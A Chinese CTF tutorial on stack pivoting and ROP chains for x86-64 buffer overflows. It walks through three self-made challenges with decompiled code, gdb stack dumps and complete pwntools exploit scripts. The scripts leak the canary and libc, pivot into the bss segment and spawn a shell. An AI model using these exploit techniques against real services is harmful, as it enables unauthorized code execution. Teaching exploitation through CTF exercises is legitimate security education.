Intel汇编,栈溢出利用,基础rop链
当我们发现存在栈溢出漏洞,但是溢出字节非常小,比如0x10的时候我们就需要利用栈迁移,将栈迁移置足够大的区段去编写rop链
以达到我们利用的目的。为了方便教学,这里以CTF赛题的形式进行教学。
这里我用我出给自己校赛的一道题作为讲解,给出了栈的地址
int __cdecl main(int argc, const char **argv, const char **envp) { char buf[208]; // [rsp+0h] [rbp-D0h] BYREF puts(&s); puts( "系统说罢,便将你渡入一方天地之中,只见天地之间一轮金日悬于九天之上,而在你面前是万里群山。\n"); puts( "钝日斩星剑就在这些山里,自己慢慢找吧,不过本系统可不想等太久,这个明神瞳就送你了!\n"); printf("小子拿好了 :%p", buf); puts(&byte_400818); read(0, buf, 0xE0uLL); return puts("神兵已得,接下来,就去手刃你的第一个仇人吧,万阳帝仙!\n"); }
这里是刚好溢出了0x10,并且给出了当前变量所处的栈地址,对于这种题目,都是直接套路杀的,而且这题没有开启canary和pie
我们只需要和往常一样先编写好rop链,再利用leave命令把栈迁移到到所给的bss段或者栈地址上
payload='a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) payload+='a'*(0xd0-len(payload))+p64(leak)+p64(leave)
第一次是泄露libc,第二次就是直接getshell
# -*- coding: UTF-8 –*- from pwn import * r=process('./1') elf=ELF('./1') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') #context.log_level='debug' puts_got=elf.got['puts'] puts_plt=elf.plt['puts'] pop_rdi=0x0000000000400663 leave=0x4005F8 main=0x0400577 ret=0x000000000040044e r.recvuntil('小子拿好了 :') leak=int(r.recv(14),16) log.success('leak:'+hex(leak)) payload='a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) payload+='a'*(0xd0-len(payload))+p64(leak)+p64(leave) r.recvuntil("搬山之术?\n") r.send(payload) r.recvuntil('神兵已得,接下来,就去手刃你的第一个仇人吧,万阳帝仙!\n') (r.recvuntil('\n')) leak1=u64(r.recv(6).ljust(8,'\x00')) log.success('leak1:'+hex(leak1)) base=leak1-0x080aa0 onegadget=[0x4f3d5,0x4f432,0x10a41c] sys=base+0x04f550 one=onegadget[2]+base sh=0x1b3e1a+base r.recvuntil('小子拿好了 :') leak2=int(r.recv(14),16) log.success('leak2:'+hex(leak2)) payload1='a'*8+p64(pop_rdi)+p64(sh)+p64(ret)+p64(sys) #payload1='a'*8+p64(one) payload1+='a'*(0xd0-len(payload1))+p64(leak2)+p64(leave) r.send(payload1) r.interactive()
对于这种题目实际上只是迁移的地点要自己进行gdb调试(摁调)还有就是leave指令稍微加了点细节从read函数那下手
本质是和典例一没差别的,都是属于栈迁移。这里用一道自己写的demo作为教学
int __cdecl main(int argc, const char **argv, const char **envp) { int i; // [rsp+Ch] [rbp-24h] char v6[24]; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 v7; // [rsp+28h] [rbp-8h] v7 = __readfsqword(0x28u); init(argc, argv, envp); for ( i = 0; i <= 24; ++i ) { if ( (unsigned int)read(0, &v6[i], 1uLL) != 1 || v6[i] == 10 ) { v6[i] = 0; break; } } printf("your in put%s\n", v6); puts("give me another worlds!"); pwnme(); return __readfsqword(0x28u) ^ v7; }
在printf("your in put%s\n", v6);这可以泄露canary,我们接着去看pwnme函数
unsigned __int64 pwnme() { char buf[24]; // [rsp+0h] [rbp-20h] BYREF unsigned __int64 v2; // [rsp+18h] [rbp-8h] v2 = __readfsqword(0x28u); read(0, buf, 0x30uLL); return __readfsqword(0x28u) ^ v2; }
同样溢出0x10,但是这次没有给定便于利用的题目,所以我们直接自己手动寻找,用ida ctrl+s 寻找到bss段的起始地址
一般利用地址都是大于bss起始地址最少0x300,具体如何要看自己的题目情况去调试
这里最主要的一点是接下来要讲的关于read函数的部分汇编利用
.text:00000000004006FE lea rax, [rbp+buf] .text:0000000000400702 mov edx, 30h ; '0' ; nbytes .text:0000000000400707 mov rsi, rax ; buf .text:000000000040070A mov edi, 0 ; fd .text:000000000040070F mov eax, 0 .text:0000000000400714 call _read
正常像典例一我们不去开启canary,构造一个rop链最少都要0x20,这里开启了canary而且题目所给的变量长度只有0x20,可读入0x30
rop链构造完canary都不用填返回地址直接寄了,所以这里的要巧妙利用read的leave。
pl = 'a'*24+p64(canary)+p64(bss)+p64(reread)
第一次先选中心仪的bss段把栈迁移上去,由于我们执行的汇编是在.text:00000000004006FE lea rax, [rbp+buf]
当我们栈迁移完了此时还可以有一次读入的机会,这时候的读入地址就是我们选择的bss段地址。
此时我们就可以写入rop链达到libc泄露的目的
pl = p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(canary)+p64(bss+0x18)+p64(reread) pl = pl.ljust(24,'\x00')
得到libc之后直接恢复栈
pl = p64(0x400831)+p64(0)+p64(0x40083b)+p64(canary)+p64(0x6015d8)+p64(leave) sleep(0.1) s(pl)
第一个是rip的地址第二个是用来填充rbp第三个是填充返回地址的,0x6015d8是通过调试之后得知的最后恢复栈的时候
命令的起始地址
pwndbg> stack 30 00:0000│ rsp 0x6015c8 —▸ 0x400719 (pwnme+50) ◂— nop 01:0008│ rsi 0x6015d0 ◂— 0x0 ... ↓ 2 skipped 04:0020│ 0x6015e8 ◂— 0x27ce95767da5b400 05:0028│ rbp 0x6015f0 ◂— 0x0 06:0030│ 0x6015f8 —▸ 0x40083b (main+171) ◂— nop 07:0038│ 0x601600 ◂— 0x0 08:0040│ 0x601608 —▸ 0x40083b (main+171) ◂— nop 09:0048│ 0x601610 ◂— 0x27ce95767da5b400 0a:0050│ 0x601618 —▸ 0x6015d8 ◂— 0x0 0b:0058│ 0x601620 —▸ 0x40072e (pwnme+71) ◂— leave 0c:0060│ 0x601628 ◂— 0x0 ... ↓ 17 skipped
我们可以继续结合汇编来看
.text:0000000000400831 mov eax, 0 .text:0000000000400836 call pwnme .text:000000000040083B nop .text:000000000040083C mov rax, [rbp+var_8] .text:0000000000400840 xor rax, fs:28h .text:0000000000400849 jz short locret_400850 .text:000000000040084B call ___stack_chk_fail
rip执行mov eax, 0返回地址在.text:000000000040083B nop把canary填充做一个修补(第一次泄露的时候已经破坏了)
恢复完栈帧我们利用恢复的时候顺带迁移会去的bss段再去写入onegadget就直接getshell了
import time from pwn import * context.arch = 'amd64' context.log_level = 'debug' r = lambda : p.recv() rx = lambda x: p.recv(x) ru = lambda x: p.recvuntil(x) rud = lambda x: p.recvuntil(x, drop=True) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) close = lambda : p.close() debug = lambda : gdb.attach(p) shell = lambda : p.interactive() p = process('./Stack_migration') #p=remote('101.43.94.145','28079') elf = ELF('./Stack_migration') libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] reread = 0x4006FE leave = 0x40072E bss = 0x601600 rdi = 0x00000000004008c3 start = 0x400600 s('a'*25) ru('a'*25) canary = u64('\x00'+rx(7)) success(hex(canary)) #p.recv() pl = 'a'*24+p64(canary)+p64(bss)+p64(reread) p.recv() s(pl) pl = p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(canary)+p64(bss+0x18)+p64(reread) pl = pl.ljust(24,'\x00') sleep(0.1) s(pl) pl = p64(0x400831)+p64(0)+p64(0x40083b)+p64(canary)+p64(0x6015d8)+p64(leave) sleep(0.1) s(pl) base = u64(ru('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['puts'] ogg = base+0x4f3d5 pl = 'a'*24+p64(canary)+p64(0)+p64(ogg) s(pl) # debug() shell()
虽然线上赛不一定见得到,但是线下赛c++的趋势已经越来越明显了,不学c++你会失去很多你本该拿到的东西
这个也是我自己整理的一个demo,先看ida
int __cdecl main(int argc, const char **argv, const char **envp) { __int64 v3; // rax __int64 v4; // rax __int64 v5; // rax __int64 v6; // rax char s2[32]; // [rsp+0h] [rbp-20h] BYREF init(); do { v3 = std::operator<<<std::char_traits<char>>( &std::cout, "The new year is coming, and the naughty beast has come to the world again. As a brave pwner, please send it home"); std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>); v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Little ones, throw up your firecrackers!!!!!!!"); std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>); std::operator>><char,std::char_traits<char>>(&std::cin, name); if ( strlen(name) > 0x10 ) { v5 = std::operator<<<std::char_traits<char>>(&std::cout, &unk_4020B8); std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>); exit(0); } getchar(); v6 = std::operator<<<std::char_traits<char>>(&std::cout, "Do you wanna try again?"); std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>); std::istream::get((std::istream *)&std::cin, s2, 0x30LL); } while ( !strcmp("Y", s2) ); return 0; }
不熟悉的人看可能感觉很乱,其实有些东西是可以不看的例如
std::operator<<<std::char_traits<char>> std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
这些不过是c++自己的一些数据处理,我们要关注的是
std::operator<<<std::char_traits<char>>这个函数里面的参数, 例如下面这个 std::istream::get((std::istream *)&std::cin, s2, 0x30LL); cin输入,往s2输入0x30大小的内容,类比可以看出输出的语句
顺带提一嘴,c++的输入输出都是靠std::operator<<std::char_traits<char>这个函数实现的,实现内容区别就在于第一个参数
cout就是输出cin就是输入,后面的参数再添加对应的就是cout的内容或者cin的内容及大小
OK 我们回归正题,分析程序可以得知
v5 = std::operator<<std::char_traits<char>(&std::cout, &unk_4020B8);
可能存在栈溢出cin没有做大小限制,但是他是在往bss段读入东西,所以没有溢出的可能性
std::istream::get((std::istream *)&std::cin, s2, 0x30LL);
这里溢出了0x10,可以栈迁移
那么结合起来就是先往bss段构造rop,利用栈迁移执行就行了,至于if ( strlen(name) > 0x10 )这个检测,我们直接填入0字节就可以绕过
剩余的操作无非就和典例一是一样的,这里注意的是c++的函数参数填充关系即可
pay=flat('\x00'*0x900,ret*0x20,rdi,cout,rsi,setbuf,0,std,main)
填充0x900的junk code 用来绕过以及填充到合适的地方布局,ret*0x20用来抬栈,这个看情况而定,本题不抬栈会破坏栈结构无法正确的传入参数,rdi,cout,rsi,setbuf,0,std,main这里翻译过来就是如下
std(cout,setbuf.got,0) 返回地址是main。
以上操作泄露了libc直接乱杀了,第二次栈迁移就是直接构造getshell的rop链就行了
from pwn import * #r=process('./boom') r=remote('47.107.51.210',6790) context.log_level='debug' context.arch = 'amd64' rdi=0x00000000004014c3 rsi=0x00000000004014c1 ret=0x00000000004014c4 main=0x4012DA std=0x401130 setbuf=0x404018 cout=0x4040C0 bss=0x0404320 leave=0x4013F8 r.recv() pay=flat('\x00'*0x900,ret*0x20,rdi,cout,rsi,setbuf,0,std,main) r.sendline(pay) r.recv() pay=flat('\x00'*0x20,bss+0x900,leave) r.sendline(pay) r.recvuntil("Do you wanna try again?\n") libc=u64(r.recv(6)+b'\x00'*2)-0x087e60 sys=libc+0x055410 sh=libc+0x1b75aa print(hex(libc)) r.recv() pay=flat('\x00'*0x600,ret*0x20,rdi,sh,ret,sys,main) r.sendline(pay) r.recv() pay=flat('\x00'*0x20,bss+0x600,leave) r.sendline(pay) r.interactive()
本文作者:合天网安实验室
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/171915.html